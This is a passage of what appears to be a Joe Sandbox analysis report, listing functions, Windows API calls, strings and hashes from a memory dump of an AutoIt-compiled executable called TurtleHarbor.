                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: CriticalExchangeFileInterlockedReadSection_memmove$EnterException@8LeaveThrowstd::exception::exception
                                            • String ID:
                                            • API String ID: 256516436-0
                                            • Opcode ID: 1bdcbf424437cb14640feba561e18e8967e3b09b6c6568dec183acc184ef42ed
                                            • Instruction ID: b4996d70036713d2acd41f52b48335354927a5a27343aa6f06b3f3c71d912c0b
                                            • Opcode Fuzzy Hash: 1bdcbf424437cb14640feba561e18e8967e3b09b6c6568dec183acc184ef42ed
                                            • Instruction Fuzzy Hash: E5318D76904205EBCB16EFA4DC85EAEB7B8EF45300F1480A5F904AF256DB34DE54DBA0
                                            Function 003250DB Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44COMMON
                                            Download Yara Rule
                                            APIs
                                            • CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00325109
                                            • CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 0032512A
                                            • ShowWindow.USER32(00000000), ref: 0032513E
                                            • ShowWindow.USER32(00000000), ref: 00325147
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Window$CreateShow
                                            • String ID: AutoIt v3$edit
                                            • API String ID: 1584632944-3779509399
                                            • Opcode ID: cb6ee8601fa3fd4e9e59f1f87483fbc94cdb258e0c4eb0dcb6162239c556e145
                                            • Instruction ID: 8368052c715893ea8b36be4457d74b974f980529ed51c1eecd32293684867413
                                            • Opcode Fuzzy Hash: cb6ee8601fa3fd4e9e59f1f87483fbc94cdb258e0c4eb0dcb6162239c556e145
                                            • Instruction Fuzzy Hash: 3BF0B7715462A47AEA221727BC48E672F7DE7C7F50F00451BB900A21B0E6711851DAB0
                                            Function 00379B16 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 155COMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00324A8C: _fseek.LIBCMT ref: 00324AA4
                                              • Part of subcall function 00379CF1: _wcscmp.LIBCMT ref: 00379DE1
                                              • Part of subcall function 00379CF1: _wcscmp.LIBCMT ref: 00379DF4
                                            • _free.LIBCMT ref: 00379C5F
                                            • _free.LIBCMT ref: 00379C66
                                            • _free.LIBCMT ref: 00379CD1
                                              • Part of subcall function 00332F85: RtlFreeHeap.NTDLL(00000000,00000000,?,00339C54,00000000,00338D5D,003359C3,?), ref: 00332F99
                                              • Part of subcall function 00332F85: GetLastError.KERNEL32(00000000,?,00339C54,00000000,00338D5D,003359C3,?), ref: 00332FAB
                                            • _free.LIBCMT ref: 00379CD9
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: _free$_wcscmp$ErrorFreeHeapLast_fseek
                                            • String ID: >>>AUTOIT SCRIPT<<<
                                            • API String ID: 1552873950-2806939583
                                            • Opcode ID: 74ab338f6953f5df3bfe3df9f5d969e051e7173f2537b5900a7733cb8ae59ebe
                                            • Instruction ID: 9cef9663f17cea6a2f3a221e31511b255b7a3d65e877d0821db0f18495f2a10a
                                            • Opcode Fuzzy Hash: 74ab338f6953f5df3bfe3df9f5d969e051e7173f2537b5900a7733cb8ae59ebe
                                            • Instruction Fuzzy Hash: 17514CB1904229AFDF25DF64DC81BAEBBB9FF48304F00419EF649A7241DB755A808F58
                                            Function 00330FE6 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 44COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 0033593C: __FF_MSGBANNER.LIBCMT ref: 00335953
                                              • Part of subcall function 0033593C: __NMSG_WRITE.LIBCMT ref: 0033595A
                                              • Part of subcall function 0033593C: RtlAllocateHeap.NTDLL(01000000,00000000,00000001,?,?,?,?,00331003,?,0000FFFF), ref: 0033597F
                                            • std::exception::exception.LIBCMT ref: 0033101C
                                            • __CxxThrowException@8.LIBCMT ref: 00331031
                                              • Part of subcall function 003387CB: RaiseException.KERNEL32(?,?,0000FFFF,003CCAF8,?,?,?,?,?,00331036,0000FFFF,003CCAF8,?,00000001), ref: 00338820
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
                                            • String ID: `=:$`=:$h=:
                                            • API String ID: 3902256705-2110702576
                                            • Opcode ID: 626cfe43b9e6ff0c4f21a00dd7d7d07b8438ac2e959b01e33ff35d0651e56073
                                            • Instruction ID: 11bfe75be327bece269929b01eab4d041092bd9fa831b9eeec0b41cd83646c0c
                                            • Opcode Fuzzy Hash: 626cfe43b9e6ff0c4f21a00dd7d7d07b8438ac2e959b01e33ff35d0651e56073
                                            • Instruction Fuzzy Hash: 2DF0C87554431DA6CB27BB98DC95ADEB7ACDF01310F100455F914AA191DFB18B80C2E0
                                            Function 0033563D Relevance: 7.7, APIs: 5, Instructions: 163COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: _memset$__filbuf__getptd_noexit__read_nolock_memcpy_s
                                            • String ID:
                                            • API String ID: 1559183368-0
                                            • Opcode ID: 00b866a24d890f7fe79ae922164f866efed2fee1f991de586a4896b02612db73
                                            • Instruction ID: 1c1c9768d1110f94f3a81ac88212756d4e3feedf455e3cf041dcd6f3c367d954
                                            • Opcode Fuzzy Hash: 00b866a24d890f7fe79ae922164f866efed2fee1f991de586a4896b02612db73
                                            • Instruction Fuzzy Hash: DA51C370A00B05DBDB2A8FB9C8C566EB7B5AF40320F258729F8359A6D0D7709D509B40
                                            Function 003152B0 Relevance: 7.6, APIs: 5, Instructions: 99windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 003152E6
                                            • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0031534A
                                            • TranslateMessage.USER32(?), ref: 00315356
                                            • DispatchMessageW.USER32(?), ref: 00315360
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Message$Peek$DispatchTranslate
                                            • String ID:
                                            • API String ID: 1795658109-0
                                            • Opcode ID: bc6753c3e762c533a38e62a750e5db8d7fa9581577ce862a82763403cf503b22
                                            • Instruction ID: 1eec856fbe3370be58cdf0ff68f1dba774209a283dbcc07a9a388497fee5fe5d
                                            • Opcode Fuzzy Hash: bc6753c3e762c533a38e62a750e5db8d7fa9581577ce862a82763403cf503b22
                                            • Instruction Fuzzy Hash: D1310731508706DBEB3B8B64EC44FF937EC9B89344F15085AE4628B5E0E7B1A8C9E711
                                            Function 0031ABB7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 117comCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 0031AD08
                                            • OleInitialize.OLE32(00000000), ref: 0031AD85
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: HandleInitialize
                                            • String ID: <w=
                                            • API String ID: 3139323997-3928385222
                                            • Opcode ID: 950998cd3b37e9054e03d6d1f93fecfc3ecad3a7929161b17680f0c053b304c5
                                            • Instruction ID: 520e26a5ce952d4338cabec53a05e346ebc48aaff826e7ebec773548820c92ae
                                            • Opcode Fuzzy Hash: 950998cd3b37e9054e03d6d1f93fecfc3ecad3a7929161b17680f0c053b304c5
                                            • Instruction Fuzzy Hash: 2351CBB090E2908EC39BDF2ABD452697FFDEB5A314B10856BD418CB2B2FB344445CB51
                                            Function 00311284 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59registryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,?,?,80000001,80000001,?,00311275,SwapMouseButtons,00000004,?), ref: 003112A8
                                            • RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,?,80000001,80000001,?,00311275,SwapMouseButtons,00000004,?), ref: 003112C9
                                            • RegCloseKey.KERNELBASE(00000000,?,?,?,80000001,80000001,?,00311275,SwapMouseButtons,00000004,?), ref: 003112EB
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: CloseOpenQueryValue
                                            • String ID: Control Panel\Mouse
                                            • API String ID: 3677997916-824357125
                                            • Opcode ID: 70775c75da8c2e395022c256b5215bf906113e858a964f849fc838a0938a0c00
                                            • Instruction ID: 9c88e4844c3d09ecc62444d195fca0d0bd40ae4e1548338b4553f1e1ab809765
                                            • Opcode Fuzzy Hash: 70775c75da8c2e395022c256b5215bf906113e858a964f849fc838a0938a0c00
                                            • Instruction Fuzzy Hash: 75114875515208BFDB268FA4DC84AEFBBACEF09740F004959E945D7110E2719E8197A0
                                            Function 00325B29 Relevance: 6.1, APIs: 4, Instructions: 66timewindowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • _memset.LIBCMT ref: 00325B58
                                              • Part of subcall function 003256F8: _memset.LIBCMT ref: 00325787
                                              • Part of subcall function 003256F8: _wcscpy.LIBCMT ref: 003257DB
                                              • Part of subcall function 003256F8: Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 003257EB
                                            • KillTimer.USER32(?,00000001,?,?), ref: 00325BAD
                                            • SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00325BBC
                                            • Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00360D7C
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: IconNotifyShell_Timer_memset$Kill_wcscpy
                                            • String ID:
                                            • API String ID: 1378193009-0
                                            • Opcode ID: 66b6ee08db6a406ab2aa63a41e6ddc219fc7a47a105fcb67232efdfc9cbb23df
                                            • Instruction ID: 1a47c33f06dc9884e18c9e6e411c47e848dbe6c57010278c28bff2735222487c
                                            • Opcode Fuzzy Hash: 66b6ee08db6a406ab2aa63a41e6ddc219fc7a47a105fcb67232efdfc9cbb23df
                                            • Instruction Fuzzy Hash: 26213870904794AFE7778B64DC96FEBBFECAF02308F00458DE69A56281C3742A84CB41
                                            Function 0032278A Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 260COMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 003249C2: LoadLibraryExW.KERNELBASE(?,00000000,00000002,?,?,003227AF,?,00000001), ref: 003249F4
                                            • _free.LIBCMT ref: 0035FB04
                                            • _free.LIBCMT ref: 0035FB4B
                                              • Part of subcall function 003229BE: SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00322ADF
                                            Strings
                                            • Bad directive syntax error, xrefs: 0035FB33
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: _free$CurrentDirectoryLibraryLoad
                                            • String ID: Bad directive syntax error
                                            • API String ID: 2861923089-2118420937
                                            • Opcode ID: fbe5be7ff214f6f1585e7ed995a1d2e9af10c3f241e2962c03521e5372384123
                                            • Instruction ID: 9cd4effb2cab2cb5b3ae7d9a2fd46ea608f46d8ac2774b18d0efdfa60d139d2c
                                            • Opcode Fuzzy Hash: fbe5be7ff214f6f1585e7ed995a1d2e9af10c3f241e2962c03521e5372384123
                                            • Instruction Fuzzy Hash: C3917171910229AFCF16EFA4DC91DEEB7B8FF05311F14452AF816AB2A1DB349909CB50
                                            Function 003248B0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 141COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: _memmove
                                            • String ID: AU3! ?:$EA06
                                            • API String ID: 4104443479-874976573
                                            • Opcode ID: 77fe81df199318701b897e913be68e5228cd0362395b9ebb1b9caee0d434d61a
                                            • Instruction ID: 742671d2d4f0f96bba9822b355f8fbe2626ef99d1d060d6bc46b2e46c2c5fd7b
                                            • Opcode Fuzzy Hash: 77fe81df199318701b897e913be68e5228cd0362395b9ebb1b9caee0d434d61a
                                            • Instruction Fuzzy Hash: 5C415C32A041785BDF27DB64A8527BF7FA98B55300F698075E882EF287D7218DC487E1
                                            Function 00379CF1 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138COMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00324AB2: __fread_nolock.LIBCMT ref: 00324AD0
                                            • _wcscmp.LIBCMT ref: 00379DE1
                                            • _wcscmp.LIBCMT ref: 00379DF4
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: _wcscmp$__fread_nolock
                                            • String ID: FILE
                                            • API String ID: 4029003684-3121273764
                                            • Opcode ID: e98a8d88937050790d881b85e4c7405f9d4c585d427f83e1466b830dca34098b
                                            • Instruction ID: ffdf0a5e7f71b6afcfe8538b709eae9181e11ede68ecb8786d00f819d1c10551
                                            • Opcode Fuzzy Hash: e98a8d88937050790d881b85e4c7405f9d4c585d427f83e1466b830dca34098b
                                            • Instruction Fuzzy Hash: 37412971A00219BADF22DAA4DC45FEFB7FDDF45710F00416AF904EF180D675A9048764
                                            Function 003231BF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON
                                            Download Yara Rule
                                            APIs
                                            • _memset.LIBCMT ref: 0036032B
                                            • GetOpenFileNameW.COMDLG32(?), ref: 00360375
                                              • Part of subcall function 00330284: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00322A58,?,00008000), ref: 003302A4
                                              • Part of subcall function 003309C5: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 003309E4
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Name$Path$FileFullLongOpen_memset
                                            • String ID: X
                                            • API String ID: 3777226403-3081909835
                                            • Opcode ID: 591f5cf3ad559bc8548e9fac22770ae0be08ca3c5ff03b59708acd3bfbf50b99
                                            • Instruction ID: 90fe0eeb909b32b848a1296305ef8e444a89e29f9bbe7b1b7819f6eee64dbad5
                                            • Opcode Fuzzy Hash: 591f5cf3ad559bc8548e9fac22770ae0be08ca3c5ff03b59708acd3bfbf50b99
                                            • Instruction Fuzzy Hash: 53219375A042989BCB46DF94DC45BEE7BFC9F49304F10405AE404EB241DBB55A88DFA1
                                            Function 0038D1C6 Relevance: 4.9, APIs: 3, Instructions: 392COMMON
                                            Download Yara Rule
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: d8674540efe9c80f1eb0e1d5bf589c97fd08630f114748b9d88f856848e1f4e0
                                            • Instruction ID: c43cbcd0ef10e2d7bb51743a58543ff449430c9ff5a5af5c010266756ade155b
                                            • Opcode Fuzzy Hash: d8674540efe9c80f1eb0e1d5bf589c97fd08630f114748b9d88f856848e1f4e0
                                            • Instruction Fuzzy Hash: 61F15DB06083059FC715EF28C484A6ABBE5FF89314F54896EF8999B391D730E945CF82
                                            Function 003259D3 Relevance: 4.6, APIs: 3, Instructions: 77windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • _memset.LIBCMT ref: 003259F9
                                            • Shell_NotifyIconW.SHELL32(00000000,?), ref: 00325A9E
                                            • Shell_NotifyIconW.SHELL32(00000001,?), ref: 00325ABB
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: IconNotifyShell_$_memset
                                            • String ID:
                                            • API String ID: 1505330794-0
                                            • Opcode ID: 479d897da54b982cd4ca1ed3c3a3c5eaa4c86949219c71cbc6794abc93b6860c
                                            • Instruction ID: a1af544a98a48b89daf3c9125a3e9e4a9ad9b72e167691e1c900c8408033a6cb
                                            • Opcode Fuzzy Hash: 479d897da54b982cd4ca1ed3c3a3c5eaa4c86949219c71cbc6794abc93b6860c
                                            • Instruction Fuzzy Hash: 6B3171B05097518FD727DF24E885697BBF8FB49304F000E2EF59A87250E771AA44CB52
                                            Function 0033593C Relevance: 4.6, APIs: 3, Instructions: 59memoryCOMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • __FF_MSGBANNER.LIBCMT ref: 00335953
                                              • Part of subcall function 0033A39B: __NMSG_WRITE.LIBCMT ref: 0033A3C2
                                              • Part of subcall function 0033A39B: __NMSG_WRITE.LIBCMT ref: 0033A3CC
                                            • __NMSG_WRITE.LIBCMT ref: 0033595A
                                              • Part of subcall function 0033A3F8: GetModuleFileNameW.KERNEL32(00000000,003D53BA,00000104,?,00000001,00331003), ref: 0033A48A
                                              • Part of subcall function 0033A3F8: ___crtMessageBoxW.LIBCMT ref: 0033A538
                                              • Part of subcall function 003332CF: ___crtCorExitProcess.LIBCMT ref: 003332D5
                                              • Part of subcall function 003332CF: ExitProcess.KERNEL32 ref: 003332DE
                                              • Part of subcall function 00338D58: __getptd_noexit.LIBCMT ref: 00338D58
                                            • RtlAllocateHeap.NTDLL(01000000,00000000,00000001,?,?,?,?,00331003,?,0000FFFF), ref: 0033597F
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: ExitProcess___crt$AllocateFileHeapMessageModuleName__getptd_noexit
                                            • String ID:
                                            • API String ID: 1372826849-0
                                            • Opcode ID: 9cfc9bfa7977ae46d55e1ffc16dc162f87f520659bd7a6da47afb71f6ce95b44
                                            • Instruction ID: 0ce8643c7b946b994b3142bd3093ac57155c9d5c6f189246c9303d0018bc5e79
                                            • Opcode Fuzzy Hash: 9cfc9bfa7977ae46d55e1ffc16dc162f87f520659bd7a6da47afb71f6ce95b44
                                            • Instruction Fuzzy Hash: FE01BC36242B06EAE6172B28ECC2B6E334C9F52770F52052BF855AF2E1DF708D404B61
